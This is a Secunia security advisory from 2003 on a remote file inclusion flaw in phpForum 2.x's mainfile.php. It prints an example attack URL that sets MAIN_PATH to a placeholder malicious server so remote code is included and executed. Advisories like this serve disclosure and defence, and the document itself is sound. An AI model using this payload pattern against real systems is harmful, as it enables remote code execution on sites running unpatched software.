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phpForum Arbitrary PHP Script Inclusion Vulnerability
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Secunia Advisory:
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SA9258
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Release Date:
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2003-07-14
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Popularity:
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5,715 views
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Critical:
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Highly critical
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Impact:
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System access
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Where:
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From remote
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Solution Status:
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Unpatched
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| Software: | phpForum 2.x
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Description:
A vulnerability has been reported in phpForum, which can be exploited by malicious people to compromise a vulnerable system.
The vulnerability is caused due to an input validation error in "mainfile.php" making it possible to supply arbitrary paths to files in the variable "$MAIN_PATH". This can be exploited by supplying a path to a malicious file on a remote server, which can result in execution of arbitrary code on the vulnerable system.
An example, which will include the file "config.php" from a remote server, was included in the original advisory:
http://[victim]/forum/mainfile.php?MAIN_PATH=http://[malicious_server]
The vulnerability has been reported in version 2 RC-1. However, prior versions may also be affected.
Solution:
Edit the source code so that a remote user cannot supply the path to an external server.
Provided and/or discovered by:
Marc Bromm
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About this Secunia Advisory
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Please note: The information that this Secunia Advisory is based on comes from a third party unless stated otherwise.
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